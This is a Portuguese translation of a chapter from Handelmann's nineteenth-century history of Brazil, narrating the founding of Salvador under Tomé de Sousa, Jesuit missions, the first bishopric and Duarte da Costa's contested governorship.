A coroa de Portugal e a primeira guerra francesa

Gottfried Heinrich Handelmann (1827 – 1891)

História do Brasil

Traduzido pelo Instituto Histórico e Geográfico Brasileiro. (IHGB) Publicador pelo MEC, primeiro lançamento em 1931.

 

CAPÍTULO III

A coroa de Portugal e a primeira guerra francesa

As eloqüentes representações de Luís de Góis, além dos anteriores conselhos do donatário Duarte Coelho, e, talvez, mais do que tudo, a notícia do lutuoso destino do donatário da Bahia, incitaram afinal o rei d. João III a interessar-se seriamente pela colonização do Brasil.

A princípio, cogitou, de fato, apenas de pequenos auxílios: mandaria alguns navios com provisões e novos colonos; cederia a uma companhia de negociantes o monopólio e a proteção do Brasil. Felizmente, porém, a conselho do experimentado donatário Pero de Góis, estes mesquinhos projetos foram abandonados e, em seu lugar, lançou-se mão, mais uma vez, de uma providência de vulto, como se fazia mister. Foi resolvido que a própria coroa se interessaria na colonização brasileira e fundaria neste país uma capitania real, que deveria ser bastante forte para proporcionar às demais auxílio e proteção, toda vez que disso precisassem.

Para sede de tal estabelecimento foi escolhida a antiga capitania da Bahia, preferida por estar situada como que no ponto geográfico central da então América portuguesa; e os herdeiros do donatário Francisco Pereira Coutinho, completamente empobrecidos, não podendo pensar em tomar posse da sua capitania, concordaram do melhor grado em cedê-la de novo à coroa, mediante uma renda anual hereditária de 400$000.

Aí, pois, nas margens da baía de Todos os Santos — assim rezava um título régio de 7 de janeiro de 1549, — deveriam ser construídas uma fortaleza e uma grande cidade fortificada, como capital da nova capitania real, sendo igualmente sede de um poder central colonial, cuja autoridade se estenderia sobre todo o Brasil.

O novo poder central se compunha de três altos funcionários da coroa, cada um deles inteiramente independente dos outros na sua esfera de atribuições, cabendo a um, o governador-geral, a administração, a outro, o ouvidor-geral, a justiça, e ao terceiro, o provedor-mor da Fazenda, as finanças; finalmente, assistia-lhes um capitão-mor da costa, que ficava incumbido, com a sua estação naval, da vigilância do litoral brasileiro.

Quanto à competência de cada uma destas autoridades, ao governador-geral competiam dentro da capitania real da Bahia plenos poderes de governo, mas nas outras capitanias apenas uma espécie de inspeção superior: deveria intervir quando o donatário e seus substitutos praticassem abusos e usurpações, quer contra os direitos da coroa, quer contra os dos colonos, e, por outro lado, dar-lhes apoio em seus legítimos direitos sobre os colonos, bem como, sobretudo, prestar socorros, em caso de guerra contra os índios ou contra outros inimigos.

Cuidou-se ao mesmo tempo de criar uma guarda territorial: cada donatário deveria manter na sua capitania, além da pólvora necessária, um verdadeiro pequeno arsenal (14 peças pequenas de artilharia de diversos calibres, 20 arcabuzes ou mosquetes, 20 bestas, 20 lanças e chuços, 40 espadas e 40 couraças acolchoadas de algodão, que no clima quente eram as mais cômodas e de todo bastantes contra as flechas dos índios); relativamente menos considerável era o que deveria ter em casa o rico proprietário de terras; e até o homem do povo não poderia deixar de possuir uma arma defensiva em casa, sob pena de ser punido por ocasião da revista de mostra geral do armamento.

O provedor-mor da Fazenda tinha de cuidar dos interesses financeiros, dos direitos de rendas da coroa em todo o Brasil; está claro que, assim, lhe competia a fiscalização sobre os empregados de Fazenda que, desde o começo, o governo pusera junto aos donatários, para o fim de cobrarem, em cada capitania, as rendas e impostos reais, mas que, até então, na maior parte, procediam com o maior desleixo.

Não era fácil ao terceiro órgão do governo, o ouvidor-geral, criar a sua esfera de atividade, visto que a coroa, nos títulos de doação, havia delegado ao donatário o pleno poder judicial em suas capitanias. Mas, em geral, havia sido tão mal administrada a justiça no Brasil, que se não podia levar a mal ao governo anular agora esse privilégio, desprezando uniforme e irredutivelmente as reclamações dos donatários, e recuperando a regalia de fazer justiça.

Do seu exercício ficou encarregado, portanto, o ouvidor-geral, assistido, em cada capitania, por juízes inferiores que, entretanto, não se viram reintegrados na sua primitiva competência plena.

Só podiam essas instâncias sentenciar definitivamente: nas causas cíveis, quando inferiores a 60$; nas causas-crimes, tratando-se do julgamento de pessoas gradas, no máximo podiam condenar até cinco anos de degredo, e mesmo no caso de plebeus livres, ou de escravos pagãos, só era executada uma sentença de morte, se o governador-geral desse a sua confirmação; nos demais casos, o processo e o réu seguiam para Lisboa, a julgamento final pelo tribunal da corte.

No correr do inverno de 1548-1549, foram tomadas em Portugal as disposições necessárias, a fim de dar execução a essa dupla medida, a fundação da capitania real da Bahia, assim como o estabelecimento de um poder central provincial para o Brasil.

O cargo de governador-geral coube a Tomé de Sousa, bastardo de uma das mais nobres famílias, que já na Ásia havia provado os seus talentos como general e homem de Estado; para ouvidor-geral foi nomeado Pero Borges, que, em breve, com a sua severa aplicação da justiça, atraiu sobre si a censura de excessiva e rigorosa dureza; os dois outros altos cargos foram conferidos pelo rei d. João III a dois dentre os primitivos donatários mal-sucedidos, o de provedor-mor da Fazenda Real a Antônio Cardoso de Barros, a quem houvera sido doada a 13? capitania, e o de capitão-mor da costa a Pero de Góis, ex-donatário da 5* capitania. Aprestou-se uma esquadra, na qual, além de numerosos colonos, embarcaram 600 homens de armas e 400 condenados à deportação; também vieram alguns religiosos da Companhia de Jesus, tendo como superior o padre Manuel da Nóbrega, que ia fundar a primeira casa de sua ordem nos domínios portugueses de além-Atlântico.

A l9 de fevereiro de 1549, partiram da embocadura do Tejo, e a 29 de março alcançava a armada o porto de seu destino, fundeando na baía de Todos os Santos.

De todas as partes, afluíram logo ali ao seu encontro mais de 40 portugueses, para darem as boas-vindas a seus compatriotas. Eram, em parte, os sobreviventes da dispersada colônia de Pereira Coutinho, e, em parte, colonos ainda mais antigos, como o já muito idoso Diogo Álvares, que não faltou, e fora o primeiro europeu habitante do BrasilI8, pois se achava ali desde 1509 (falecido em 5 de outubro de 1557). 

Guiada por eles, dirigiu-se a nova leva de imigrantes para a antiga colônia, entre cujas ruínas ainda dominava a capela da Vitória, erigida por Pereira Coutinho, em comemoração de sua primeira vitória sobre os índios; e nessa igrejinha arruinada celebrou-se a primeira missa de ação de graças. Cuidou-se então da fundação da nova cidade.

A língua de terra, pobre de água, que Pereira Coutinho havia outrora escolhido para a sua sede, e onde hoje se ergue o arrabalde de Vitória, não agradou ao governador-geral, que preferiu procurar outro sítio, explorando para esse fim toda a baía.

E essa investigação valia a pena, pois para onde quer que se volte o olhar do viajante nessas águas, sempre se lhe antepara um novo espetáculo da mais variada beleza.

A baía de Todos os Santos é protegida contra a impetuosidade dos ventos e das ondas pela ilha de Itaparica, que se estende na sua entrada, e forma como que um lago interior, semeado de ilhotas pinturescas. As suas margens em torno são de uma conformação de variedade pouco comum, pelo fato de, por toda parte, serem as terras rendilhadas de profundas enseadas e de desaguarem numerosos rios e riachos, que misturam as suas águas às da baía; terra a dentro, porém, eleva-se a costa, ora áspera ora suavemente, numa série diversa de pequenos planaltos, sobre os quais se desenvolve na mais exuberante plenitude a vegetação tropical.

Depois de demorada reflexão, decidiu-se, afinal, Tomé de Sousa por um dos planaltos, situado justamente ao norte da antiga sede, não longe do velho costumado ancoradouro; no topo desse planalto lançou ele os fundamentos de sua nova colônia, atualmente conhecida por "Cidade Alta", em contraste com a "Cidade Baixa", que mais tarde se formou ao sopé da elevação, junto ao mar, e na qual se centraliza hoje todo o movimento comercial da Bahia.

Recebeu ela o nome de "Cidade do Salvador" 19, denominação que na linguagem corrente foi substituída, quase de todo, pelo simples nome de Bahia; por brasão concedeu-lhe o governador-geral uma pomba em campo azul, com um ramo de oliveira no bico, envolto nesta legenda: "Sic illa ad Arcam reversa est".

A construção da cidade se fez rapidamente, pois que os índios da circunvizinhança, mediante pequena retribuição, de bom grado ajudavam nesse trabalho, como nos de lavoura; em breve, desapareceram os ranchos de folhas de palmeiras e ramagens, sob os quais os imigrantes de chegada haviam procurado abrigar-se, e em seu lugar elevaram-se sólidas casas de morada, ocupando a parte central a igreja e os edifícios do governo.

Em volta de toda a praça, mandou o governador correr uma cerca de paliçada, para proteção contra qualquer inopinado ataque dos inimigos, cerca essa que foi substituída, ao fim de alguns anos, por forte parapeito de terra, com seis torres, duas voltadas para o mar e quatro para o interior; de todas essas obras de defesa não resta hoje vestígio algum.

Assim ficava fundado um forte núcleo central urbano para a nova capitania; em seguida, Tomé de Sousa repartiu em sesmarias o território circunvizinho, entre os seus companheiros; mandou um dos seus navios às ilhas de Cabo Verde, em busca de animais domésticos europeus; e como não faltassem braços para o trabalho e chegassem também, de ano para ano, novos imigrantes, tomou rápido incremento na Bahia a lavoura, notadamente a produção do açúcar.

Quanto às relações do novo estabelecimento para com os índios, também desta vez a influência de Diogo Alvares e dos outros colonos, precursores meio recaídos ao estado de selvagens, muito contribuiu para que fossem amigáveis desde o começo; travou-se ativo comércio de permutas, e os naturais do país de bom grado auxiliavam os imigrantes em seus trabalhos, a troco de qualquer utensílio europeu de ferro, ou de objetos de ornato.

Com o correr dos anos, naturalmente, não podiam deixar de ocorrer perturbações; a colônia viu-se inquietada com ladroagens, provocações e mesmo rompimento de hostilidades, e, por fim, um bando de índios teve a ousadia de carregar consigo quatro colonos, que se haviam afoitado demais para o sertão, e os sacrificaram nas suas festas canibalescas. Tal ocorrência poderia ter sido o sinal de rompimento de uma luta de vida ou de morte, cujo desfecho seria pelo menos duvidoso para o novo e frágil Estado agrícola; revelou-se, porém, o governador-geral, nessa emergência, como um hábil estadista. Deixando em paz a tribo, restringiu a sua justa represália a castigar dois dos principais culpados, que lhe haviam caído nas mãos; na presença de grande multidão de índios, mandou amarrar os dois diante da boca de um canhão carregado e fê-lo disparar, de modo que os membros despedaçados voaram pelos ares.

Conseguiu ele, destarte, infundir terror, num vasto círculo, às tribos indígenas e conservar-lhes, não obstante, a amizade!

De muito lhe valeu também o auxílio prestado pelos padres da Companhia de Jesus, essa ordem de monges 20, cujos membros, votando-se a chamar os povos selvagens às práticas do cristianismo e a fixar-se ao solo, demonstraram sempre o maior tino e recolheram os mais belos frutos. Assim sucedeu também na Bahia; apenas aí desembarcados, o padre Manuel da Nobreza e os demais frades começaram logo a exercer a atividade missionária; com inteligente afabilidade, por meio de presentes e obras de caridade, souberam conquistar a amizade dos adultos e a afeição das crianças.

A imponente solenidade dos atos eclesiásticos, a pompa dos cerimoniais católicos, por seu turno, também muito influíram; mas sobretudo a música e os cânticos religiosos encantavam de modo irresistível aos índios, a ponto de, por muitas vezes, referirem os evangelizadores: "Aqui no Brasil renova-se a antiga fábula grega de Orfeu". /

Os jesuítas souberam aproveitar-se admiravelmente dessa circunstância; logo dos primeiros catequizados, ensinaram a algumas crianças os cânticos da Igreja, de modo que, quando os missionários, com estes meninos coristas, levando à frente o crucifixo e cantando litanias, penetravam numa aldeia de índios, acudiam alegres os moradores para lhes darem as boas-vindas, e até as crianças fugiam de seus pais para tomar parte nesse ensinamento e a fim de poderem concorrer ao canto.

Além disso, tratou logo o mais instruído dentre os irmãos da ordem, que era o padre João Aspilcueta Navarro, de estudar a língua dos índios: projetou uma gramática, traduziu as orações e os artigos de fé e em breve estava ele tão senhor da língua, que pregava no próprio idioma dos índios; e para não descurar de coisa alguma que pudesse produzir impressão nos seus ouvintes, observou a macabra gesticulação dos feiticeiros índios, com que estes costumam acompanhar os seus discursos, e conseguiu imitá-la com felicidade nas suas pregações. Por outra parte, não eram poucas, todavia, as dificuldades; sobretudo a energia com que os missionários se opunham à matança dos prisioneiros de guerra e à antropofagia, suscitou repetidas vezes inimizades e riscos de vida. Entretanto, foram, por fim, coroados os esforços dos santos padres jesuítas, em muitos lugares, do mais completo êxito; os índios deixavam-se batizar, entregavam ao governador-geral os seus arcos, em sinal de paz, e este lhes designou, então, um trecho de terra, onde quatro ou cinco pequenas tribos se agruparam para passar a uma vida regrada de lavoura, à européia.

A direção superior de semelhante "missão" cabia ao irmão da ordem, destinado para seu missionário e pároco; era, porém, auxiliado por um meirinho índio que, ao menos aparentemente, exercia o poder temporal.

O primeiro estabelecimento deste gênero parece ter sido a missão São Paulo, no rio Vermelho, um rio da costa não distante de São Salvador; em breve, havia grande número dessas missões na capitania da Bahia; e, ao fundá-las, procurava sempre o governo que ficassem como em círculo, em volta da colônia, de modo que servissem de defesa contra os índios bravios, ainda não convertidos.

Dali, então, pouco a pouco se difundiu esse sistema de missões pelas demais províncias do Brasil, graças aos esforços dos padres jesuítas.

O culto da religião pela Companhia de Jesus não se limitava aos índios, mas estendia-se também aos colonos brancos, e não tinham menos que fazer com estes do que com aqueles.

Longe estavam de reinar ao longo de toda a costa a ordem no culto religioso e a disciplina eclesiástica: a população em geral caíra na mais profunda desmoralização e não havia esperança de melhoras, enquanto faltasse a base de toda ordem moral — a vida de família organizada.

A maioria dos colonos continuava, a exemplo dos seus predecessores, meio recaídos em estado de semibarbárie, a viver em união livre, ora com uma, ora com várias índias, que, segundo o costume da terra, eles haviam escolhido dentre as que eram livres ou dentre as suas escravas; nem os próprios sacerdotes que ali serviam

faziam melhor, a tal ponto que o padre Nobreza, em carta de 9 de agosto de 1549, assim informava ao rei: "Os leigos tomam o mau exemplo do clero, os pagãos imitam os cristãos. O sertão está cheio de cristãos, grandes e pequenos, homens e mu-‘ lheres, que vivem e se multiplicam segundo o costume pagão. Por toda parte reinam o ódio e as dissensões; os interesses da Igreja são mal dirigidos, e igualmente mal os da justiça".

A isto era preciso remediar, a começar pela Bahia; os jesuítas, apoiados pelo governador-geral, tratam de impor, com todo o rigor, que os matrimônios fossem contraídos regularmente e mantidos com sagrado respeito.

Muitos colonos escolhiam então para esposa uma escrava, davam-lhe a liberdade e contraíam casamento; outros só pretendiam por esposa mulher européia, e as poucas que haviam acompanhado a expedição, logo se casaram, de sorte que o padre Nóbrega, na já referida carta, sugeria ao governo: "Seria conveniente mandar rJara aqui jovens órfãs ou também raparigas decaídas; todas elas achariam marido, porque o país é grande e extenso". Esse pedido foi atendido já no ano seguinte, e ainda repetidamente depois.

A Companhia de Jesus, a pouco e pouco, foi atraindo as restantes capitanias para a esfera do seu trabalho de reforma. Nóbrega, que era a princípio diretor do Colégio do Salvador, mas desde 1550, como vice-provincial para todo o Brasil, exercia a direção superior, distribuía os seus companheiros de missão pelos diversos Estados agrícolas; ele próprio nos anos seguintes percorreu por duas vezes a costa, da Bahia para o sul até São Vicente, e por determinação sua foram fundadas, dentro em pouco, em muitos sítios, casas da ordem, igrejas e colégios, onde os irmãos da ordem ministravam, sem distinção, tanto aos brancos como aos índios, os ensinamentos e o conforto da religião.

O geral da Companhia de Jesus, ainda então Inácio de Loyola, seu fundador, soube desde logo dar o devido merecimento a essa nova conquista: mandou aos ativos obreiros, por várias vezes, novos auxiliares; e já no ano de 1553 elevou o Brasil, até aí anexo da província da ordem de Portugal, à dignidade de província autônoma da ordem, e nomeou por seu primeiro provincial a Manuel da Nóbrega (falecido em 1570).

Entrementes, foram também tomadas disposições atinentes à reorganização geral do clero secular. O Brasil pertencera até então, na divisão eclesiástica, a uma remota diocese do Funchal, na ilha da Madeira; os padres seculares e párocos Ficavam assim completamente entregues a si mesmos, punham e dispunham a seu bel-prazer, e disso proveio, como já foi dito, a franca desmoralização do clero.

Nem o governador-geral Tomé de Sousa, nem o provincial dos jesuítas, tinham poderes para melhorar esse estado de coisas; Fizeram representações ao governo português, sugerindo que o único remédio seria nomear um bispo; e esse conselho foi atendido. A 31 de julho de 1550 dirigiu-se à Cúria Romana, com esse objeto, o rei d. João III: propôs para sede do novo bispado a cidade do Salvador, na Bahia, e para primeiro dignitário o até então vigário-geral de Goa, Pero Fernandes Sardinha; ambas as propostas foram aceitas, e já em outubro de 1551 o recém-nomeado diocesano tomava posse de sua sede episcopal; a respectiva bula papal de sua instituição, contudo, só foi publicada em março de 1555 21.

Ao mesmo tempo, a posição do príncipe da Igreja, e sobretudo da Igreja do Brasil, em relação ao poder temporal foi definitivamente regularizada: concedeu-se aqui à coroa uma interferência muito maior do que a qualquer outro príncipe de país católico europeu.

Isso se explica pela origem histórica: a bula de Calixto III, de 8 de janeiro de 1454, sobre a qual se baseavam os direitos de posse transatlântica de Portugal, fora lavrada, originariamente, não em favor da coroa, mas no da ordem religiosa dos Cavaleiros de Cristo; e por isso compreende-se que a Santa Sé concedesse ao grão-mestre da ordem de Cristo, além da posse, também o patronato eclesiástico, sobre as terras recém-descobertas, isto é, o direito de ali cobrar o dízimo, para dotação do culto, de estabelecer fundações eclesiásticas de toda espécie, de propor os candidatos a todos os bispados e prebendas ou de fazer as nomeações correspondentes, com cláusula de ratificação pontifícia. Acontece, porém, que de fato desde muito a coroa portuguesa havia já anexado aquele grão-mestrado e a Cúria Romana silenciara; destarte, a coroa de Portugal tomara posse efetiva de todos aqueles amplos direitos; e mui dificilmente abriria mão deles, máxime por haverem sido, nesse Ínterim, concedidas à coroa de Espanha idênticas regalias quanto às suas possessões americanas.

Resolveu assim, finalmente, o papa Júlio III, por uma bula de 1551, transferir para sempre o grão-mestrado da Ordem de Cristo aos reis de Portugal, e com isso obteve definitivamente o poder temporal no Brasil completa superintendência e decisivo predomínio sobre a Igreja Católica, o que se conservou felizmente até hoje.

Para concluir, devemos acrescentar que também o terrível tribunal da Inquisição, que havia criado raízes em Portugal desde 1530 a 1536, daí estendeu ao Brasil seu sinistro poder; contudo, este último país nunca teve tribunal próprio desse gênero, ficando sempre sujeito ao Santo Ofício de Lisboa.

* * *

Tornemos, agora, ao curso exterior dos fatos.

Assim que a capitania real se estabeleceu de modo permanente, e a cidade do Salvador, agora capital temporal e espiritual de todo o continente brasileiro, ficou construída, volveu o governador-geral Tomé de Sousa a sua atenção para as demais capitanias. Primeiramente, ainda no verão de 1549, embarcavam na esquadra do capitão-mor da costa o ouvidor-geral e o provedor da Fazenda, para fazerem uma viagem de inspeção às capitanias do Sul; demoraram-se em cada uma delas mais ou menos tempo, e deixaram por toda parte traços salutares de sua atividade. Um sem-número de criminosos teve de prestar contas à justiça; sobretudo muitos colonos, que viviam em mancebia, foram condenados à deportação para outra capitania; além disso, agora, o ouvidor-geral, por uma lei, excluiu os degredados, que em muitos lugares gozavam de influência preponderante, do exercício de todo e qualquer cargo oficial; e o que foi o principal: as finanças e os serviços da justiça foram reorganizados com adequada simplificação, como convinha às condições de tão novo país.

Em outubro de 1549, tornava a esquadra à Bahia, onde foi apresentado ao governador-geral um relatório completo. Três anos depois, em fins de 1552, fez

ele próprio, somente acompanhado do capitão-mor da costa, segunda viagem de inspeção, na qual procurou tanto quanto possível estabelecer, por toda parte, a ordem interna e a segurança; empenhou-se, porém, especialmente em garantir a defesa externa do país, concentrando em maiores povoações os colonos espalhados e fundando praças fortes nos pontos mais ameaçados; e nas cidades já existentes, insistiu ele para que, ao menos, se levantasse uma muralha em torno ou uma paliçada, para proteção contra ataques de surpresa.

Logo após o seu regresso, Tomé de Sousa despachou para Lisboa o capitão-mor Pero de Góis, seu companheiro de viagem de inspeção, a fim de apresentar os seus relatórios à corte e completá-los com o tesouro de sua própria experiência; encarregou-o, outrossim, de advogar certas sugestões suas, que visavam a uma radical reforma nas condições do Brasil.

Por uma delas manifestava Tomé de Sousa que o governador-geral, como único funcionário superior da capitania real da Bahia, não podia nem de longe dedicar às demais capitanias os necessários cuidados, nem fazer com a necessária freqüência viagens de inspeção, pelo que propunha que, para o futuro, se lhe desse um imediato, que se encarregaria, durante a sua ausência, de reger os negócios somente da Bahia; e esta sugestão foi em breve atendida, pois o rei d. João III nomeou, a 2 de maio de 1554, Diogo Muniz Barreto primeiro alcaide-mor da cidade do Salvador.

Outra idéia de Tomé de Sousa: parecia-lhe de bom alvitre maior concentração do poder central provincial; também nessa parte foi ouvido pelo rei, pois, após o falecimento do provedor-mor da Fazenda Antônio Cardoso de Barros (1555), foram as suas atribuições transferidas ao ouvidor-geral, e ambos esses cargos permaneceram por muito tempo nas mãos de uma só autoridade, até que a experiência veio provar a inconveniência de tal medida.

Em terceiro lugar, finalmente, o governador chamava a atenção para a irresponsabilidade com que geralmente procediam os substitutos dos donatários ausentes, e insistia para que fosse o donatário obrigado a residir no seu próprio feudo, quando não objetasse razão forte bastante; mas isso não foi fácil de conseguir, e continuou a faltar muitas vezes nas capitanias a mão ou o olho do dono.

Quanto a ocorrências especiais, pouca coisa há que registrar no período de governo de Tomé de Sousa, merecendo, entretanto, menção o fato de já então tratar-se de fundar outra capitania real, além da da Bahia. Essa idéia nasceu do ciúme: a corte de Lisboa havia sido informada de que a baía do Rio de Janeiro servia de refúgio habitual aos navios mercantes franceses, e de que esse sítio se havia, de certo modo, tornado o empório principal de toda espécie de contrabando; assim, recebeu o governador-geral ordem de ali fundar uma colônia fortificada e tomar posse efetiva daquela baía, pondo assim termo a tais abusos. Em virtude dessa ordem, Tomé de Sousa visitou também o Rio de Janeiro na sua viagem de inspeção de 1552; e pela magia do seu cenário, bem como a importância marítima dessa enseada, que a nenhum viajante deixa de impressionar, achou nele um espontâneo admirador, a ponto de ser levado a fazer desenhar uma vista dessa baía, para mandá-la ao rei.

Era, porém, Tomé de Sousa prudente demais para obedecer incondicionalmente a tal ordem, tanto mais que a esse tempo nem a Bahia nem as outras capitanias poderiam, sem se enfraquecer, dar gente necessária para novas empresas de colonização; por isso escreveu ele a respeito ao governo: "Certamente é este o sítio para se edificar nele uma boa e soberba cidade", mas objetava que ele mesmo "não reputava acertado dispersar mais ainda as fracas forças de que dispunha; se se desejava realmente fundar uma nova colônia, importava que viesse de Portugal diretamente uma expedição especial". E acrescentava: "O caso não comporta-delonga"; e caro custou o não ser ouvido o seu conselho, porque 10 anos mais tarde, quando afinal se empreendeu a colonização do Rio de Janeiro, foi preciso começar por conquistá-lo à mão armada aos franceses.

Não eram, contudo, estes últimos a única nação que punha em risco os direitos de posse dos portugueses no Brasil; o mesmo sucedia, em latitude mais meridional, da parte dos espanhóis, que também tiveram de ser expulsos.

Na primavera de 1541, Álvaro Núnez Cabeza de Vaca, recém-nomeado governador das terras espanholas do Prata, havia desembarcado na baía de São Francisco (província de Santa Catarina) e dali se fora internando pelas províncias de São Paulo e Paraná, até ao rio Paraná, de onde alcançou a cidade de Assunção, no Paraguai; por toda parte em que passava foi tomando posse das terras para a coroa de Espanha, mesmo na costa, que indubitavelmente pertencia a Portugal, inclusive na capitania de Santo Amaro22 e 22_A.

Desde essa expedição ficou formalmente estabelecida uma estrada real diretamente de Assunção à costa sul-brasileira, e São Vicente tornou-se de certo modo um empório de comércio de exportação do Paraguai espanhol — tráfego esse que, para ambos os Estados agrícolas, novos e ainda fracos, deveria ser igualmente proveitoso, mas que, entretanto, podia dar motivo a perigosos dissídios de fronteiras, enquanto estas não fossem rigorosamente determinadas.

Já por esse fato, já como represália contra o zelo com que os espanhóis fechavam aos estrangeiros suas possessões americanas, a corte de Lisboa e o governo-central do Brasil ter-se-iam logo oposto a isso; parece, entretanto, que esses fatos foram deles ignorados, até que, em 1552, uma esquadra espanhola, sob o comando de Diego de Senabria, naufragou nas costas de Santa Catarina, e então a maior parte da equipagem salva marchou para Assunção, por terra, passando pelas colônias portuguesas23.

Justamente por esse tempo achava-se em São Vicente o governador-geral Tomé de Sousa, na sua viagem de inspeção ao Sul; acudiu ele próprio, solícito, com os meios de que dispunha, aos náufragos retardatários, e deixou os que se achavam a caminho para o interior continuarem a sua rota sem serem estorvados; resolveu, todavia, que, para o futuro, se pusesse termo a qualquer tráfico, a toda comunicação terrestre entre o Brasil e o Paraguai.

Baixou uma proibição rigorosa e fundaram-se algumas povoações que deviam barrar a estrada; e ao mesmo tempo Sousa deu conhecimento dessa ocorrência à

corte de Lisboa, que, por seu turno, apresentou sem demora reclamações em Madri (dezembro de 1553). As negociações diplomáticas que se originaram daí não são bem conhecidas, também foram de pouca monta; o que é certo, porém, é que as ordens proibitivas de Tomé de Sousa foram energicamente executadas; as comunicações por terra com o Paraguai foram suprimidas, e a colonização e navegação espanhola excluídas da costa brasileira no Sul.

Cumpre ainda mencionar que sob o governo de Tomé de Sousa correu, pela primeira vez, a noticia do inesgotável tesouro de metais e pedras preciosas que jaziam nas montanhas do Brasil, para herança das futuras gerações.

Até então era o país estimado somente pelos produtos da sua natureza virgem e da lavoura, e só explorado como colônia agrícola; ouro e prata não se haviam ainda encontrado em parte alguma da costa; quando muito alguns grânulos apanhados na areia dos rios, que não compensavam o trabalho de recolhê-los; mas, apesar disso, sé firmou a crença de que o Brasil, e em geral todo o continente americano, deveria ser rico de metais preciosos, a exemplo do que sucedia com as possessões espanholas; e o descobrimento do rio Amazonas por Orellana, demonstrando a continuidade continental com o Peru, muito serviu para mais arraigar essa convicção.

Assim foi que a coroa de Portugal, nos títulos de doação de 1534, expressamente havia reservado para si o quinto real desses metais, e Tomé de Sousa, ao partir em 1549, trouxe também o encargo de procurar ativamente as minas. Por felicidade, era ele bastante sensato para se não distrair à cata de supostos tesouros, em detrimento de interesses de maior e mais imediata necessidade; contentou-se em despachar para o norte uma galera, sob o comando do Miguel Henriques, com ordens de subir os rios em direção ao Peru, a ver se descobria vestígios de metais preciosos. Nada sabemos dos resultados colhidos por essa expedição; talvez não houvesse ela regressado; em todo caso, Tomé de Sousa, ao que parece, não mais se preocupou com as minas, pois sempre evitou empregar homens e dinheiro, inutilmente.

Eis que de súbito, em 1552, correu o boato, ao mesmo tempo em diferentes regiões, São Vicente, Pernambuco e Porto Seguro, de que se havia descoberto ouro ali; e as notícias mais verossímeis eram as oriundas de Porto Seguro, pois alguns índios dali haviam informado que muito além no sertão (hoje província de Minas Gerais), nas margens e nascentes do rio São Francisco, eles próprios tinham visto os veios de ouro das montanhas; haviam mesmo trazido de lá pedras raras, que apresentavam entre elas umas verdes, que pareciam esmeraldas (eram turmalinas). Em tais circunstâncias não podia o governador-geral deixar de mandar fazer rigorosa investigação naquelas regiões.

Em princípio de 1553, um bando de 12 homens, conduzidos por um sobrinho do donatário local, Jorge Dias, e acompanhado pelo missionário jesuíta Aspilcueta Navarro, largou de Porto Seguro, transpôs as montanhas da costa e navegando por um pequeno confluente foram ter ao curso superior do rio São Francisco. Porém, a fortuna não favoreceu essa audaciosa empresa; por mais que procurassem, não encontraram indício algum dos tesouros da natureza, que porventura encerrasse aquele trato de terra, e, afinal, regressaram de mãos vazias.

Foi certamente uma felicidade para o Brasil, ou, pelo menos, para a nacionalidade portuguesa no Brasil; pois seja então tivesse sido descoberta a riqueza do sertão, sem dúvida a totalidade dos colonos portugueses teriam deixado de mão o arado, para ir garimpar no planalto, em busca dos metais preciosos; as costas do

Brasil teriam ficado, por assim dizer, despovoadas, e todo o continente brasileiro à mercê do primeiro ocupante estrangeiro.

Antes ainda de haverem aqueles pesquisadores de ouro regressado à costa, já o governador-geral Tomé de Sousa havia obtido do rei d. João III, conforme por várias vezes lhe solicitara, a permissão de transferir a outrem o pesado cargo que gloriosamente exercera durante quatro anos, e em julho de 1553, embarcava na Bahia, de regresso a Portugal, onde, por prêmio dos seus serviços, foi agraciado com a dignidade de comendador da Ordem de Cristo, e nomeado para o cargo de veador da casa real; e, enquanto viveu, sempre o seu conselho teve influência decisiva em se tratando de coisas brasileiras.

.Teve por sucessor a Duarte da Costa, que, desde julho de 1553 até ao ano de 1558, exerceu o cargo de governador-geral; foi uma quadra triste para o Brasil, pois do princípio ao fim desse governo teve o país de sofrer desgraças externas e dissensões no interior. Nesta última parte cabe quase exclusivamente a culpa ao governador-geral: havia ele trazido em sua companhia o filho, Alvaro da Costa, jovem e bravo soldado, de não pequenas capacidades militares, mas desenfreado e sem escrúpulos de ordem moral, de tal sorte que, em breve, dava o pior exemplo à população da colônia.

O bispo da Bahia, d. Pero Fernandes Sardinha, que era muito inclinado à benevolência, viu-se forçado a intervir, apesar de que recentemente, em missiva ao rei, escrita a 12 de julho de 1552, assim se externara: "No começo e especialmente num país tão novo, melhor é fazer vista grossa a muitas coisas, do que castigar sempre". Em público, do púlpito, o bispo repreendeu a Alvaro da Costa, por seu procedimento; este, exasperado em extremo, não descansou enquanto se não vingou da pública afronta.

Declarou-se assim aberta a discórdia interna; Duarte da Costa, em vez de promover a reconciliação, tomou ostensivamente o partido do filho, e consentiu nas desordens e violências pelo mesmo praticadas.

Por seu turno, o próprio governador deu motivos a descontentamentos, abusando do poder, em todos os sentidos, a fim de satisfazer a sua cobiça; dizem que fez vender por meio de agentes seus não só sesmarias, como cargos públicos e o direito de negociar com os índios, e que empregou, em viagens de comércio, os navios do governo que deviam fazer o cruzeiro das costas; o certo é que soube reservar para si e sua família extensa sesmaria.

Nessas condições, cindiu-se a população em dois partidos: de um lado, o bispo e com ele uma porção dos mais conceituados colonos, o provedor-mor da Fazenda, o segundo capitão-mor da costa, o proto-médico da colônia e todo o Conselho da Câmara de São Salvador; de outro lado, o governador e seu filho, com os seus partidários. Entre os dois grupos reinavam constantes divergências, nas quais naturalmente o governador, como detentor do poder civil, ficava decididamente com as vantagens, tanto mais que o ouvidor-geral, segundo parece, pendia para o seu lado.

Apresentar queixa à coroa não era coisa fácil, pois a todos que não fossem do seu partido Duarte da Costa proibia formalmente o ausentarem-se da colônia, e, quando alguém, apesar disso, o tentava, era logo mandado meter na cadeia. Finalmente, embarcou para Lisboa o próprio bispo d. Pero Fernandes Sardinha; juntaram-se-lhe o deão e dois cónegos do seu capítulo, o provedor-mor da Fazenda e o donatário Antônio Cardoso de Barros, assim como muitos outros descontentes, ao todo cerca de cem pessoas; mas na embocadura do rio Cururipe (pro-

víncia das Alagoas) encalhou o navio que os conduzia, e, buscando salvamento em terra, caíram nas mãos de uma tribo de antropófagos, os Caetés.

Somente um português e dois escravos índios conseguiram fugir para a Bahia, como mensageiros do desastre; todos os demais, homens, mulheres e crianças, foram implacavelmente trucidados pelos selvagens (1555).

Foi indescritível o efeito desse trágico acontecimento: "mal haveria uma casa em São Salvador", assim referia o provincial Nóbrega, "onde não entrasse a viuvez e a orfandade, onde não ressoasse dolorosa lamentação".

A exasperação contra o governador-geral elevou-se ao mais alto grau, de sorte que o Conselho da Câmara, "em nome de todo o povo, pelas chagas de Cristo", suplicava ao governo português que mandasse substituir imediatamente aquele funcionário (1556).

